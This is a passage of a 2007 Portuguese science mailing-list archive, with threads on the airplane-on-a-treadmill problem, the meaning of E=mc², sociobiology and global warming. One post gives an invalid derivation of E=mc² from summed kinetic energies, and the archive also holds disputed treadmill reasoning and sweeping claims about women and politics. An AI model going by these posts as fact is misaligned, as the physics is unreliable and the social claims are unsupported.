mover-se no sentido oposto ao do avião) e poderemos falar que ambos,
avião e esteira, se movem.

> Da mesma forma, o avião se move para frente em relação ao que? Que
> lado é a "frente"? Quem se move para trás se move para trás do que?
> Vamos elevar o nível intelectual da nossa conversa e deixar esses
> itens bem claros para não corrermos o risco de não percebermos as
> coisas óbvias que ninguém percebeu ainda, concorda?
> JR1 - Sem complicar, JC! Como dito acima, a esteira se desloca para
> um lado e o avião para o outro. Vc terá uma melhor visualização disso,
> fazendo um teste prático em uma esteira rolante de supermercado...


Eu nãoe stou complicando nada, muito pelo contrário. Quando eu lhe
disse que o referencial era o chão e que esse referencial era adotado
sempre que não se explicitava um outro, você me disse então que isso
era intelectualmente pobre e que deveríamos explorar outras
possibilidades. Pois bem, estou explorando! ;)


> Pegue um carrinho-avião e se posicione sobre a esteira no sentido
> inverso ao normal, isto é, "discostas". A esteira vai carregar o
> avião-carrinho e seu propulsor-JC estacionados sobre ela...
> Antes de chegar ao final, vc aciona o propulsor-turbinas-JC e
> começa a deslocar o carrinho-avião sobre a esteira, em sentido
> contrário ao deslocamento dela, acelerando até que o avião-carrinho
> se desloque *na mesma velocidade da esteira*...


Pegarei o que for preciso DEPOIS que ficar claro qual é o referencial
que você está adotando: chão, esteira, avião ou outro qualquer. Antes
disso deixo os carrinhos de supermercado no supermercado mesmo. :)


> Então aguardo sua resposta antes de continuarmos, porque sem ela não
> fará o menor sentido discutirmos um movimento sobre o qual nem sabemos
> a que se refere, não é mesmo?
> Assim que você elucidar esses pontos nebulosos nós continuaremos com
> seu raciocínio.
> Aguardo novamente suas explicações.
> JR1 - Veja, agora, quais dúvidas permanecem. E quais são as novas...


Permanece a dúvida anterior sobre o SEU referencial: qual é o
referencial que você está escolhendo? Você não me disse ainda e agora
acho que está claro que você só pode concordar com o que eu já havia
lhe dito (quando você considerou minha interpertação intelectualmente
pobre, he he): o referencial é o chão. Não é mesmo?


> Abraços
> José Renato

Abraços,
JC



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 00:17

Olá, JC.

Hierarquia é política. Quanto mais alta a posição hierárquica de um
indivíduo, mais mulheres ele poderá ter, através do casamento. O
casamento é um contrato social que garante ao marido acesso sexual
exclusivo à esposa. Portanto, quanto mais alta for a posição
hierárquica do indivíduo mais mulheres ele poderá ter acesso sexual
exclusivo e deixará uma prole mais numerosa. Teve um imperador de
Marrocos que, devido a sua alta hierarquia, teve quase 900 filhos.
Imagino que o cara devia ter umas 200 esposas. Isso é algo
significativo em termos darwinistas.

Entre machos, o principal motivo da hierarquia existir é ter acesso
sexual preferencial ou exclusivo às fêmeas. E sexo é uma das coisas
que mais fortemente estão sob pressão darwinista.

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 00:23

Caro, Alberto!

Esta mensagem - e seus artigos de referências - me faz lembrar uma
interpretação simples da famosa fórmula E=mc2, em que considero a "massa"
como a "energia estruturada" existente em uma ou mais partículas. Assim, a
massa contida em uma ou mais partícula é igual à energia cinética dissipada
quando, em velocidade próxima à da luz, choca-se com um
anteparo-calorímetro.

Usando a clássica fórmula de energia cinética 1/2mv2 e considerando a
desintegração de uma partícula - em luz e calor - em todas as direções,
teremos, *grosso modo*, expansão-pressão para um lado e para o oposto,
assim: <-- 1/2mv2 0 1/2mv2 -->, onde 0 é a partícula desintegrada ou
totalmente dissipada no choque contra um anteparo-calorímetro. Somando-se
essas duas energias cinéticas liberadas por uma "explosão atômica", teremos:
1/2mv2 + 1/2mv2 = mv2.

No caso da fissão nuclear, em que a velocidade equipara-se à da luz, teremos
que a energia (cinética) dissipada é igual a mc2, donde, Ec=mc2(energia
cinética é igual a massa vezes a velocidade da luz ao quadrado). Ou mais
genericamente: E=mc2.

Abraços

José Renato
.............................................

----- Original Message -----
From: "Alberto Mesquita Filho" <albmesq@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 28, 2007 8:50 PM
Subject: Re: [ciencialist] Re: E=m.c2


> ----- Original Message -----
> From: "Manuel Bulcão"
> Sent: Saturday, April 28, 2007 8:40 PM
> Subject: [ciencialist] Re: E=m.c2
>
>> quando os físicos falam em "energia de massa" estão se referindo a
>> quê? à matéria (partículas "massivas" com spin meio integral) ou à
>> energia associada a ela, isto é, E/c^2? Estou perguntando isso
>> porque, em artigos e livros de divulgação científica (bons livros,
>> cujos autores são físicos famosos), a impressão que tenho é que se
>> faz certa confusão.
>
> Esta confusão realmente existe e é própria de toda a física "moderna".
> Energia, para o físico "moderno", é algo que se conserva depois que
> ele joga no lixo algumas coisas que possam não lhe interessar. Para
> entender melhor o que estou pretendendo dizer sugiro a leitura do
> artigo "A energia da física moderna", em
> http://www.ecientificocultural.com/ECC2/artigos/energia.htm . Este
> artigo é uma adaptação da mensagem 13497 da Ciencialist e as mensagens
> subsequentes podem ser acompanhadas a partir de
> http://www.ecientificocultural.com/ECC2/Dialogos/efm.htm
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 00:36

Os fatores para o aumento de temperatura no planeta já estão presentes e
suas conseqüências visíveis e constatáveis. A questão é se isso é uma
ocorrência "natural' na Terra ou se isso é conseqüência do CO2 e demais
agressões feitas pela "civilização" no planeta nesses últimos dois séculos!?

O ciclo de maior atividade solar já não é justificativa para esse aumento de
temperatura... E vale considerar que a Terra, desde antigas eras, tem a
tendência de esfriar cada vez mais... Não de esquentar.

[]s

José Renato
.............................................

----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 29, 2007 2:49 PM
Subject: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento
Global"


> E por que só após cerca de 30 anos é que não haverá mais dúvidas sobre
> quais
> os principais fatores que estão causando o aquecimento da Terra? Pela
> frase
> de Takata, entendi que daqui há trinta anos o aquecimento será tão
> significativo que não dará mais para considerá-lo apenas como mais um
> ciclo
> climático "normal" do planeta Terra.

Se ele tivesse PROVAS, ele não demoraria nem um minuto para me
convencer de que isso não é "histeria".

Mas não sejamos tão pessimistas. 30 anos? Quem sabe, daqui uns 5 ou 10
anos o ciclo se reverta. Eu serei um dos primeiros a lembrá-los disso.
Só que daí poderá ter sido tarde demais: "tudo" terá sido feito para
"mudar a situação" e estaremos acreditando que políticos como o Albert
Gore nos salvaram do "apocalipse". ;-)

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 00:41

João de Carvalho, escreveu:

[ Política são os acordos que os homens fazem para distribuir as mulheres
entre eles sem sair no tapa. ]
..................................................

José Renato, comenta:

Não só as mulheres, como *tudo* e qualquer coisa existente na face da terra
e quejandos.

[]s

JR
............................................

From: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 29, 2007 8:19 PM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, JC.

> Porque você acha que o darwinismo vê, ou deveria ver, algum sentido
na relação entre sexo e heirarquia?

Sexo e política andam de mãos dadas. São como duas faces de uma mesma
moeda. Política são os acordos que os homens fazem para distribuir as
mulheres entre eles sem sair no tapa. O casamento é uma instituição
política, e não a celebração pública entre duas pessoas que se amam
(isto é o namoro). Quanto maior o poder político de um homem, mais
influência ele terá sobre o sistema reprodutivo da sociedade e
poderá, assim, conseguir mais e melhores mulheres.

Um abraço.
João de Carvalho.





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SUBJECT: Re: Questões sociobiológicas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 02:03

Olá João,

Me parece que você está falando do sentido evolutivo do "darwinismo"
no escopo da teoria da evolução mesmo. Por um momento pensei que
estivesse usando algum "modismo". Mas se o sentido que você usou é
realmente aquele ussualmente relacionado à teoria da evolução, então
não me parece que a relação que você propõe talvez não possa ser
inferida dos seus argumentos. Vejamos porque:

Você propôs inicialmente que:

"> De acordo com o darwinismo, faz sentido que homens de alta hierarquia
> tenham mais filhos homens, e homens de baixa hierarquia tenham mais
> filhas mulheres. Mas parece que isso não ocorre. Está certo que a
> seleção natural não necessariamente percorre os melhores caminhos
> possíveis, mas parece um passo tão simples inibir ou estimular a
> produção de espermatozóides Y de acordo com a concentração de
> serotonina ou testosterona. Talvez a resposta seja que, no ambiente
> ancestral, um filho de um homem de alta hierarquia não
> necessariamente teria alta hierarquia. Ou então que no ambiente
> ancestral a forma de organização social fosse um matriarcado tipo o
> dos bonobos (o que acho improvável), no qual o prestígio de um homem
> é dado pelo prestígio de sua mãe. Para uma mulher poder definir se
> seu filho será homem ou mulher pode ser um passo evolutivo mais
> complicado."

Você começa falando de "homens" e "mulheres", fazendo portanto uma
referência explicita ao ser humano, e agora você justificou usando, em
parte, a frase "> Entre machos, o principal motivo da hierarquia
existir é ter acesso sexual preferencial ou exclusivo às fêmeas. E
sexo é uma das coisas que mais fortemente estão sob pressão
darwinista.". Sim, é verdade, sexo é um fator de pressão evolutiva,
mas "hierarquia" é algo distinto entre humanos e não-humanos.

No seu texto original você afirma fazer sentido que homens de alta
hierarquia (humana) tenham mais filhos homens, mas porque deveria ser
assim? A hierarquia humana não se estabelece entre "famílias", pela
herança sanguínea, mas sim por elementos políticos, como você bem
salientou. Entre os demais animais essa hierarquia não se dá
preferencialmente por "política", e sim, geralmente, pela força física.

O maior acesso às fêmeas garante mais descendentes, mas não determina
o sexo deles. Além disso, em uma hierarquia baseada em "política", e a
menos que a "habilidade política" seja genética, qualquer homem pode
vir a deter o poder, ainda que momentaneamente, e não parece haver uma
razão para que seja diferente (ou teríamos atualmente apenas
"políticos" no mundo. Assim, sendo o "poder político" um fato
circunstancial e eminentemente humano, não cabe falar em "darwinismo",
a meu ver, no sentido próprio do termo, isto é, no sentido dado pela
teoria da evolução.

Por fim, o sexo e a disputa por fêmeas e pelo maior número de
descendentes é muito anterior à hierarquia humana. Em termos de "tempo
evolutivo" não me parece ter havido tempo suficiente para que a
hirarquia humana (baseada em política) tenha tempo ou oportunidades
para exercer alguma pressão evolutiva considerável.

A questão do "tempo evolutivo", assim como do "tempo geológico", do
"tempo cosmológico" ou de qualquer outro "tempo não intuitivo"
geralmente causa confusões. Me lembro de ter escrito um artigo sobre
isso em 2001, mais especificamente falando sobre o aquecimento global
(que está na moda hoje, mas já é assunto antigo); você pode conferir
em http://www.didaticos.com.br/zoom/materia.asp?materia=57.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> Hierarquia é política. Quanto mais alta a posição hierárquica de um
> indivíduo, mais mulheres ele poderá ter, através do casamento. O
> casamento é um contrato social que garante ao marido acesso sexual
> exclusivo à esposa. Portanto, quanto mais alta for a posição
> hierárquica do indivíduo mais mulheres ele poderá ter acesso sexual
> exclusivo e deixará uma prole mais numerosa. Teve um imperador de
> Marrocos que, devido a sua alta hierarquia, teve quase 900 filhos.
> Imagino que o cara devia ter umas 200 esposas. Isso é algo
> significativo em termos darwinistas.
>
> Entre machos, o principal motivo da hierarquia existir é ter acesso
> sexual preferencial ou exclusivo às fêmeas. E sexo é uma das coisas
> que mais fortemente estão sob pressão darwinista.
>
> Saudações.
> João de Carvalho.
>




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 05:05

Caro JC.

> Você começa falando de "homens" e "mulheres", fazendo portanto uma
> referência explicita ao ser humano, e agora você justificou usando,
em
> parte, a frase "Entre machos, o principal motivo da hierarquia
> existir é ter acesso sexual preferencial ou exclusivo às fêmeas. E
> sexo é uma das coisas que mais fortemente estão sob pressão
> darwinista.". Sim, é verdade, sexo é um fator de pressão evolutiva,
> mas "hierarquia" é algo distinto entre humanos e não-humanos.

Hierarquia não é algo distinto entre humanos e não-humanos.
Chimpanzés passam boa parte de seu tempo formando coligações
políticas para tomar o poder. A hierarquia humana realmente sofreu
influências especiais que não estão presentes em outros primatas
(assunto que podemos discutir em outra mensagem), e por esses motivos
ela é mais branda e menos dependente da força física. Mas ainda assim
ela existe, tanto em humanos como em chimps e gorilas. Os gibões não
exibem isso por não viverem em sociedade. Mas e não sei se é
exatamente esse o seu ponto. Talvez eu não tenha entendido direito.

> No seu texto original você afirma fazer sentido que homens de alta
> hierarquia (humana) tenham mais filhos homens, mas porque deveria
ser
> assim? A hierarquia humana não se estabelece entre "famílias", pela
> herança sanguínea, mas sim por elementos políticos, como você bem
> salientou.

Pode ser esta a resposta para o enigma que levantei: A hierarquia não
sofre nenhuma influência significativa da hereditariedade (embora nos
bonobos, que são matriarcais, parece que o prestígio de um macho está
relacionado ao prestígio de sua mãe). Mas quando se trata de
linhagens matrilineares a hereditariedade parece exercer uma
influência maior. Isto porque uma fêmea tem certeza que o filho é
seu, já o macho não pode ter essa certeza.

> Entre os demais animais essa hierarquia não se dá preferencialmente
por "política", e sim, geralmente, pela força física.

Mas força física e política andam de mãos dadas. A política, como eu
disse, são os acordos que os machos fazem para não terem que partir
para a violência. Por traz da política está a guerra, a luta, a
violência. Coalizões políticas entre chimpanzés são feitas porque
vários chipanzés de um mesmo "partido" são mais fortes que um macho
dominante solitário, por mais forte que ele seja. O tamanho do grupo
é um importante elemento quando se trata de força física. Por isso
ocorrem as coalizões políticas (entre humanos ou chimps).

> O maior acesso às fêmeas garante mais descendentes, mas não
determina
> o sexo deles. Além disso, em uma hierarquia baseada em "política",
e a
> menos que a "habilidade política" seja genética, qualquer homem pode
> vir a deter o poder, ainda que momentaneamente

Pode ser. Não sei o quão instável é a hierarquia entre primatas,
incluindo os humanos. Talvez essa seja a explicação para o enigma que
coloquei.

> e não parece haver uma razão para que seja diferente (ou teríamos
atualmente apenas "políticos" no mundo.

Mas todos nós somos políticos, em maior ou menor grau. Minhas
habilidades políticas são péssimas, mas em geral as pessoas têm algum
tato nas negociações sociais.

> Assim, sendo o "poder político" um fato circunstancial e
eminentemente humano...

A política não é uma característica exclusiva dos humanos. Chimps têm
uma intensa vida política.

> Por fim, o sexo e a disputa por fêmeas e pelo maior número de
> descendentes é muito anterior à hierarquia humana. Em termos de
"tempo
> evolutivo" não me parece ter havido tempo suficiente para que a
> hirarquia humana (baseada em política) tenha tempo ou oportunidades
> para exercer alguma pressão evolutiva considerável.

Como eu disse acima, é bastante provável que a política date de um
período muito anterior ao surgimento do Homo sapiens. Se os chimps e
gorilas a têm, é bastante provável que os Australoptecus a tivessem,
assim como o Homo eretus.

Saudações.
João de Carvalho.





SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 05:11

> João de Carvalho, escreveu:
>
> [ Política são os acordos que os homens fazem para distribuir as
mulheres
> entre eles sem sair no tapa. ]
> ..................................................
>
> José Renato, comenta:
>
> Não só as mulheres, como *tudo* e qualquer coisa existente na face
da terra
> e quejandos.

É verdade. Mas entre todas essas coisas, as mulheres são as mais
preciosas. Isto porque é a mulher o portal para as novas geraçãoes, e
consequentemente para a perpetuação das linhagens genéticas. Não há
nada mais importante do que perpetuar as linhagens genéticas.

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 09:31

No texto de Ferrari:

>DE: emailferrari@yahoo.com.br
DATA: Sat, 28 Apr 2007 11:56:02 -0300 (ART)
ASSUNTO: Re: [ciencialist] Re: E=m.c2

Olá, Takata e Luiz

Ambos os dois me disseram que c2 não é velocidade, porque
está ao quadrado. Disse que não ia fazer perguntas, mas aqui
é importante, se não quiserem responder não precisa.

Bem, Km2 é uma área plana, certo?

C2, velocidade da luz ao quadrado é o que? Como imaginar C2?<


Léo: Ferrari, primeiro vamos aos 'consertos' físicos em suas perguntas.
Vc diz "Km2 é uma área plana, certo?" e eu respondo "ERRADO" pois, para começar, não existe 'área plana', 'área' é uma medida e não um 'objeto ou propriedade'. Se vc tivesse dito 'superfície plana', isso faz sentido físico, MAS erraria de todo jeito pois "km2" é uma área e não uma 'superfície'. Uma superfície não precisa ser plana para que tenhamos sua área; a área lateral de um cilindro é de 30 cm² e ela não tem nada de 'plana'!

Por outro lado, c² faz parte de uma expressão matemática e não obrigatoriamente deva ter significado físico pois, para a expressão, aquilo deverá ser substituído por um valor numérico.
Quantas não são as expressões onde comparecem 'densidade ao quadrado', 'tempo ao quadrado', 'raiz quadrada da massa', 'logaritmo de uma potência', etc, sem a correspondente grandeza física associada. A própria energia cinética trás v² e não existe grandeza física associada a isso! O que importa é que a expressão seja dimensionalmente correta ... e a expressão E = mc² é dimensionalmente correta, sem que haja qqer significado físico para c² !
c² não foi 'feito para imaginar'; m.c² sim ... mas, já saiu da imaginação, Hiroshima nos contou a realidade disso!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Arca de Noé - era Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 10:27

Gostaria de saber o que Machado de Assis entende de filosofia; de burros já percebi que não entende nada!
Vamos comparar, proporcionalmente, a 'fortaleza' do burro com a do gafanhoto?
Se Machado de Assis era 'português', com certeza deveria ter cabelos marrom!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 29 de abril de 2007 19:22
Assunto: Re: [ciencialist] Arca de Noé - era Re: Fw: Física


"- Pode ser, meu colega; mas a esperança é própria das espécies fracas, como o homem e o gafanhoto; o burro distingue-se pela fortaleza sem par. A nossa raça é essencialmente filosófica. Ao homem que anda sobre dous pés, e provavelmente à águia, que voa alto, cabe a ciência da astronomia. Nós nunca seremos astrônomos. Mas a filosofia é nossa. Todas as tentativas humanas a este respeito são perfeitas quimeras. Cada século..."
(diálogo entre dois burros, em conto do Machado de Assis

José Carlos Antonio <profjc2003@yahoo.com.br> escreveu: Léo, grande insight você teve!

Se Noé levou os bichos em "casais", então:

- já havia união estável para bichos gays?
- como ele sabia que havia apenas um casal de bactérias (???) de cada
tipo?
- como se distingue o macho e a fêmea entre vírus?
[ ... ]


SUBJECT: Fw: Tubo de Kundt
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 10:41

Olá JC,

em algumas de suas escolas tem o manual de operação do tubo de Kundt. Não é o primeiro consulente que diz que na escola dele tem isso (parece-me que foi uma distribuição estadual???).

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: herbert rodrigues
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 26 de abril de 2007 13:48
Assunto: Tubo de Kundt


Sr. Léo Barretos

Em primeiro lugar, gostaria de parabenizá-lo pelo seu site de divulgação científica. Iniciativas como esta são extremamente necessárias em nosso país.

Consultei em seu site a prática do Tubo de Kundt. Temos em nossa escola todo o material para realização da prática, porém nos falta um roteiro elaborado e passo a passo para obtenção dos resultados. Gostaria que o sr. nos enviasse, se possível, um roteiro mais detalhado do que o que consta no site, a fim de reproduzirmos a prática.

Grato pela atenção.
Prof. Herbert de Oliveira Rodrigues
Colégio Estadual Liceu de Maracanaú
Maracanaú/CE


Herbert Rodrigues
professor_herbert@yahoo.com.br
(85)8871-1472
__________________________________________________
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 14:02

Seu argumento é inconsistente, como generalização. Há ricos e poderosos que
podem até ter muitas mulheres mas fazem poucos filhos. Em geral, as famílias
mais abastadas têm poucos filhos. Muitos poderosos mataram seus próprios
filhos para evitar usurpação de poder.
Abraços
José Renato
...........................................

From: "Joao de Carvalho" <joaobncarvalho@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, April 30, 2007 5:11 AM
Subject: [ciencialist] Re: Questões sociobiológicas


> João de Carvalho, escreveu:
>
> [ Política são os acordos que os homens fazem para distribuir as
> mulheres entre eles sem sair no tapa. ]
> ..................................................
>
> José Renato, comenta:
>
> Não só as mulheres, como *tudo* e qualquer coisa existente na face
> da terra e quejandos.

É verdade. Mas entre todas essas coisas, as mulheres são as mais
preciosas. Isto porque é a mulher o portal para as novas geraçãoes, e
consequentemente para a perpetuação das linhagens genéticas. Não há
nada mais importante do que perpetuar as linhagens genéticas.

Saudações.
João de Carvalho.




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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 14:27

Olá, José Carlos! Enfocando a questão dos referenciais...

A resposta sobre referenciais está no texto anterior, veja:
[ A esteira se move para um lado e o avião para o outro, tanto em relação ao
chão quanto *entre eles* mesmos. ]

Utilizando como referencial *um ponto sobre a esteira*, esse ponto pode se
mover sim, tanto em relação ao chão, ao avião e em relação a ela mesma, à
sua estrutura.

Veja explicação importante, que consta no e-mail anterior:
[ O referencial *principal* é a interação entre os movimentos da esteira e
do avião. O chão é um referencial secundário, que só será utilizado para
analisar o deslocamento do avião - que corre sobre a esteira na mesma
velocidade em sentido contrário - em relação ao chão e ao ar, para concluir
que não há condições de sustentação para alçar vôo. ]

[]s

José Renato
.......................................................


From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 30, 2007 12:04 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
Os comentários seguem logo abaixo dos seus.


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

> Caríssimo José Renato, folgo em sabê-lo que você "aceitou" os
> argumentos acima, mas o fato é que argumentos como esses não
> podem ser rejeitados, pois não são de "livre escolha" e sim imposição
> das leis físicas que descrevem a natureza. Você pode ou não "aceitar"
> que o avião voará, mas independentemente disso, ele voará (aviões
> voam!). :)
> JR1 - Voa sim, mas sua velocidade *em relação à esteira* conflita com o
> enunciado do problema, isto é, nesse caso o avião se desloca com *o
dobro da
> velocidade* da esteira... Mas é preferível, por enquanto, nos
concentrarmos
> na solução pendente de consenço. OK?


Não há nenhum conflito, pois o que determina se o avião voará ou não é
sua velocidade em relação ao chão (e, portanto, em relação ao ar).
Pouco importa sua velocidade em relação a esteira, a Lua ou ao centro
da galáxia.



> Seus esquemas, infelizmente, estavam errados conforme já foi
> demonstrado, e você não se opôs à demonstração, quando consideramos
> desprezível o atrito dos rolamentos da roda do avião. Logo, sua
> explicação baseada neles também estava errada. Lembra-se? Foi nessa
> época que você me disse que não era bem assim que o enunciado do
> problema original era outro, etc. e tal. Bom, estamos agora discutindo
> o enunciado do problema original e como já ficou claro na mensagem
> anterior, o referencial é mesmo na Terra e o avião voará. Mas vamos
> adiante apreciar seus argumentos...
> JR1 - Essas dúvidas e divergências serão esclarecidas depois, OK?


OK. Não tenho pressa. Prefiro que tudo fique bem claro.


> JR1 - Vc logo vai concluir que a solução que apresentei não é uma forma
> inédita de olhar o problema.


Eu não acho que sua solução seja "inédita", José Renato, acho apenas
que ela está erada e que você se confundiu porque, na minha opinião,
sua formação em física básica não foi muito boa e certos conceitos
ainda não estão muito claros para você. Tenho dezenas de alunos que
concordariam com sua solução errada e é muito comum eu ter que
ajudá-los com esses conceitos. Você só é mais "teimoso" que a média
porque prefere não assumir seu engano do que "percebê-lo". :)


> > Veja. Se o avião está sobre a esteira que se move para trás e o
> > avião para frente *com a mesma velocidade*, há uma relação
> > fundamental entre seus movimentos.
>
>
> Epa, vamos com calma... A esteira se move para trás em relação ao que?
> Ao avião? Ao chão? A Lua ou a própria esteira? Não vamos nos esquecer
> de que você mesmo já defendeu aqui, veementemente, que não devemos dar
> interpretações "simplistas" aos enunciados e que isso pode ser
> intelectualmente pobre, certo? Eu não vou querer cometer essa
> barbaridade e dessa vez quero saber exatamente sobre o que estamos
> falando.
> JR1 - Continuo calmo! A esteira se move para um lado e o avião para
> o outro, tanto em relação ao chão quanto em relação a eles mesmos.


Isso é impossível José Renato. Se o referencial for a esteira então
ela nem se move! Se o referencial for o avião então ele também não se
move! A única possibilidade dessa frase estar certa é se o referencial
for o chão. Nesse caso, adotando-se o sentido desse referencial como
sendo o do movimento do avião, teremos enfim um "para frente" (que
significa mover-se no sentido do avião), um "para trás" (que significa
mover-se no sentido oposto ao do avião) e poderemos falar que ambos,
avião e esteira, se movem.

> Da mesma forma, o avião se move para frente em relação ao que? Que
> lado é a "frente"? Quem se move para trás se move para trás do que?
> Vamos elevar o nível intelectual da nossa conversa e deixar esses
> itens bem claros para não corrermos o risco de não percebermos as
> coisas óbvias que ninguém percebeu ainda, concorda?
> JR1 - Sem complicar, JC! Como dito acima, a esteira se desloca para
> um lado e o avião para o outro. Vc terá uma melhor visualização disso,
> fazendo um teste prático em uma esteira rolante de supermercado...


Eu nãoe stou complicando nada, muito pelo contrário. Quando eu lhe
disse que o referencial era o chão e que esse referencial era adotado
sempre que não se explicitava um outro, você me disse então que isso
era intelectualmente pobre e que deveríamos explorar outras
possibilidades. Pois bem, estou explorando! ;)


> Pegue um carrinho-avião e se posicione sobre a esteira no sentido
> inverso ao normal, isto é, "discostas". A esteira vai carregar o
> avião-carrinho e seu propulsor-JC estacionados sobre ela...
> Antes de chegar ao final, vc aciona o propulsor-turbinas-JC e
> começa a deslocar o carrinho-avião sobre a esteira, em sentido
> contrário ao deslocamento dela, acelerando até que o avião-carrinho
> se desloque *na mesma velocidade da esteira*...


Pegarei o que for preciso DEPOIS que ficar claro qual é o referencial
que você está adotando: chão, esteira, avião ou outro qualquer. Antes
disso deixo os carrinhos de supermercado no supermercado mesmo. :)


> Então aguardo sua resposta antes de continuarmos, porque sem ela não
> fará o menor sentido discutirmos um movimento sobre o qual nem sabemos
> a que se refere, não é mesmo?
> Assim que você elucidar esses pontos nebulosos nós continuaremos com
> seu raciocínio.
> Aguardo novamente suas explicações.
> JR1 - Veja, agora, quais dúvidas permanecem. E quais são as novas...


Permanece a dúvida anterior sobre o SEU referencial: qual é o
referencial que você está escolhendo? Você não me disse ainda e agora
acho que está claro que você só pode concordar com o que eu já havia
lhe dito (quando você considerou minha interpertação intelectualmente
pobre, he he): o referencial é o chão. Não é mesmo?


> Abraços
> José Renato

Abraços,
JC



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 16:45

O que é c^2? Ora pois, c^2 é a velocidade da luz elevada ao quadrado! Nada
mais. Lacan fazia barbaridades com reinterpretações "artísticas" desses
conceitos físico-matemáticos, mas Lacan não é mais levado a sério em lugar
nenhum. Nem na França...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 28, 2007 11:56 AM
Subject: Re: [ciencialist] Re: E=m.c2


> Olá, Takata e Luiz
>
> Ambos os dois me disseram que c2 não é velocidade,
> porque está ao quadrado. Disse que não ia fazer
> perguntas, mas aqui é importante, se não quiserem
> responder não precisa.
>
> Bem, Km2 é uma área plana, certo?
>
> C2, velocidade da luz ao quadrado é o que?
> Como imaginar C2?
>
>
> Grato
> Ferrari
>
>
>
>
>
> --- rmtakata <roberto.takata@bol.com.br> escreveu:
>
>> --- Em ciencialist@yahoogrupos.com.br, Ferrari
>> <emailferrari@...>
>> > Na equação de Einstein (e=mc2)
>> > Energia = materia.
>> > Mas não exatamente igual, pois tem o (c2)
>> > C2 é a velocidade.
>> > Sendo assim:
>> > Energia = Materia x Velocidade.
>>
>> Não. A velocidade está ao quadrado.
>>
>> > Se velocidade = movimento
>> > Energia = Materia (em movimento)
>> > Se velocidade = espaço / tempo
>> > Então: a materia se movimenta / de acordo com o
>> tempo
>> > Concluindo:
>> > Energia = tempo de movimento da matéria (pulso)
>>
>> Não. Deve se ter em mente q essa energia se refere
>> não à energia
>> cinética, mas ao correspondente da energia contida
>> na massa.
>>
>> > - - - - - -
>> > E por que Einstein postulou a velocidade = c2?
>> >
>> > Porque a velocidade da luz é o limite máximo de
>> > observação do pulsar da matéria. Ou seja, a luz é
>> > pulso mais rápido que se pode observar.
>>
>> Tb não. E = m.c2 não é um postulado, a fórmula foi
>> deduzida. c2 não é
>> velocidade, o q corresponde à velocidade é c. Do mm
>> modo como km2 não
